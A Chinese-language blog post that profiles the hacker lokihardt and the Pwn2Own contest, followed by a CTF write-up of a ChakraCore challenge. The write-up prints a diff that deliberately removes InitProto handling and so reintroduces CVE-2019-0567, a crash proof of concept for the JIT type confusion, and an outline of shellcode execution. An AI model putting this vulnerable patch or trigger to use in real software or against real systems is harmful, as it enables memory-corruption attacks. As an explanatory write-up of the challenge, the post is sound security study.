Day20: [Pwn] lokihardt & Pwn2Own

11th鐵人賽

ddaa

2019-10-05 20:47:11

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前言

近年來台灣媒體常常在吹捧天才駭客，但真正在 CTF 圈內公認的天才駭客只有兩個，一個是之前介紹過的 geohot，另一個就是今天要介紹的 lokihardt，當然除了上述兩者以外，還有一些強者比較低調，像是之前曾經以攻破 Chrome 聞名的 Pinkie Pie ，但因為某些因素只能匿名，後來就沒有被媒體持續報導 XD ~~(迷之音: 天才駭客沒有 Orange? Orange 是傳奇滲透師 !)~~

Pwn2Own

要聊 lokihardt 之前，必須先知道 Pwn2Own 這個比賽，如果說 DEF CON CTF 是 CTFer 的最高榮譽，那 Pwn2Own 就是所有白帽駭客的至高殿堂，比起 CTF 是設計過的漏洞題目，Pwn2Own 是要真槍實彈的破解 real world 的產品，挖掘漏洞和利用的難度更上一個層次

但既然 Pwn2Own 是挖掘真實漏洞的產品，就不是像 CTF 一樣讓參賽者到比賽會場才開始找漏洞，hacker 可以以合法手段取得產品，透過逆向工程或原始碼分析，在比賽前事先挖掘漏洞，到 Pwn2Own 會場就只是 demo 成果而已，一般來說都是以團隊為單位花整年的研究產品，找到一個或多個問題之後，再合作將各自挖掘到的漏洞交互利用形成完整的 exploit (但同時產品也有可能不斷修補漏洞，因此也要保佑在比賽前產品不會更新把漏洞修正...XD)

Pwn2Own 最早舉辦於 2007 年，一開始產品是針對 Apple 底下的軟體，像是: Quicktime, Safar，後來項目逐漸增加，像是 Adobe 產品、BlackberryOS 和各大瀏覽器，其中以瀏覽器的 exploit 最受眾人矚目，近幾年也跟上虛擬化的趨勢，加入了 VMWare 等軟體

lokihardt

lokihardt 第一次在世人眼中出現就是在 2015 年的 Pwn2Own 上，以個人參加的身分，攻破了當時瀏覽器三本柱：IE11, Chrome 和 Safari，創下了 Pwn2Own 歷史以來最佳成績，直至今日 Pwn2Own 還沒有再次三大瀏覽器同時被攻陷的紀錄，隔年 lokihardt 再次參賽，攻陷隔年微軟新推出 Edge，獲得當年最高獎金，不過總積分輸給騰訊的安全團隊 Sniper

geohot 也有以個人參加的身分，獨自在 2013 年 Pwn2Own 上於 Windows 8 攻破 Adobe Reader
同樣 2013 年，Pinkie Pie 也攻破 Mobile 上的 Chrome 聲名大噪

lokihardt 也有參加 2016 年舉辦的 Pwnfest，Pwnfest 是跟 Pwn2Own 的性質類似的競賽，lokihardt 在現場攻破了 Edge 和 VMWare，獲得 29w 鎂的獎金，該場比賽是 VMWare 首次被攻破 (同年的 Pwn2Own VMWare 成功不被攻陷)

當時 360 Marvel Team 抽籤獲得率先出場的權利，並成功攻破 VMWare，接著 lokihardt 展示時被評審團判定與 360 使用相同漏洞 (俗稱撞洞 XD)，根據規則，應該會由 360 獲得，但 lokihardt 當場花了幾分鐘的時間修改 exploit，將漏洞用另一種利用方式展示給評審，由於該利用方式給 VMWare 工程師有很大的啟發，所以改判定成功 XD
- (補充) 根據友人轉述，lokihardt 本人的說法是他是花了 30 分鐘找到另一個洞來打...

2015 年的 DEF CON 25 Final 是 DEFKOR 奪冠的一年，也是唯一一次 geohot 和 lokihardt 有在 CTF 比賽中正面交手過的一次，當時 geohot 第一天沒有來現場，而 DEFKOR 已經 firstblood 一道題目 rxc 通殺全場，取得大幅優勢，但晚上加入戰局後也協助 PPP 解掉了 rxc，然後 geohot 震驚自己做了一個晚上，lokihardt 竟然用四小時就解掉了......

畢竟當時 geohot 已經 25 歲，而 lokihardt 才 20 歲，在 CTF 競賽這種需要高強度的精神集中上會弱勢一些
*<親愛的，熱愛的>*提到 CTF 選手要把握黃金六年，雖然只是電視劇的台詞，但還是有一點道理在 XD

後來 lokihardt 就被 Google Project Zero 給招安 (?)，成為裡面的頂尖研究員之一，最近就比較少他的消息了 QQ 只能偶爾從 Project Zero 揭露出來的新問題，看到是 lokihardt 的成果 XD

最後不得不提一件事，看到 lokihardt 之後，真的了解什麼叫做 "明明可以靠臉吃飯，卻偏要靠才華" .......之前看 *<親愛的，熱愛的>*相關討論，有人在知乎吐槽說搞資訊安全的才不會長這麼帥，那是因為沒見過 lokihardt 吧......XDD 附上 lokihardt 在 pwnfest 的照片：

0x13: Trend Micro CTF 2019 Exploit 400 ChakraCore

哪一場國際 CTF 賽事辦的最好，這個會根據解題的愛好不同而各自有支持者，但要說哪一場的題目最爛......，Trend Micro CTF 應該是公認的第一名 XD 但偏偏背後的獎金又很吸引人，加上背後有 ZDI 的背景，因此還是吸引不少人參加，今天介紹的這題是今年相對比較有趣，比較不猜謎的一題......

這題的題目給了一個網站，敘述很明確，就是說網站背後會拿我們送的 javascript 丟到 js engine ChakraCore 跑，要我們想辦法 pwn 掉他，題目隨附檔給了一個 diff，裡面只更動一行，把 InitProto 的 opcode 給註解了

diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index 88bf72d32..6fcb61151 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -564,7 +564,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
         break;

     case Js::OpCode::InitClass:
-    case Js::OpCode::InitProto:
+    //case Js::OpCode::InitProto:
     case Js::OpCode::NewScObjectNoCtor:
     case Js::OpCode::NewScObjectNoCtorFull:
         if (inGlobOpt)

經過 google 大神幫助後，發現這是由 lokihardt 所發現的 CVE-2019-0567，漏掉處理 InitProto 將會導致在跑 JIT code 時發生 type confusion 的問題，可以從下列的 POC 了解 root cause

function opt(o, c, value) {
    o.b = 1;
    class A extends c { // may transition the object
    }
    o.a = value; // overwrite slot array pointer
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o; // causes "class A extends c" to transition the object type
    opt(o, cons, 0x1234);
    print(o.a); // access the slot array pointer resulting in a crash
}

main();

不過在比賽時其實沒有心思去了解到底 root cause 是什麼，只知道這是一個很 powerful 任意讀寫漏洞，由於題目給的 binary 沒有 DEP 保護，我們可以直接把 shellcode 放在 Uint32Array 中，再修改原本的 POC 讓 control flow 跳到我們 allocate 出來的 shellcode 區段即可

Type confusion 的漏洞真的不好發現，即使有 POC 可以參考我還是研究了一陣子才理解原因，詳細的分析可以參考這篇 blog: https://perception-point.io/resources/research/cve-2019-0539-exploitation/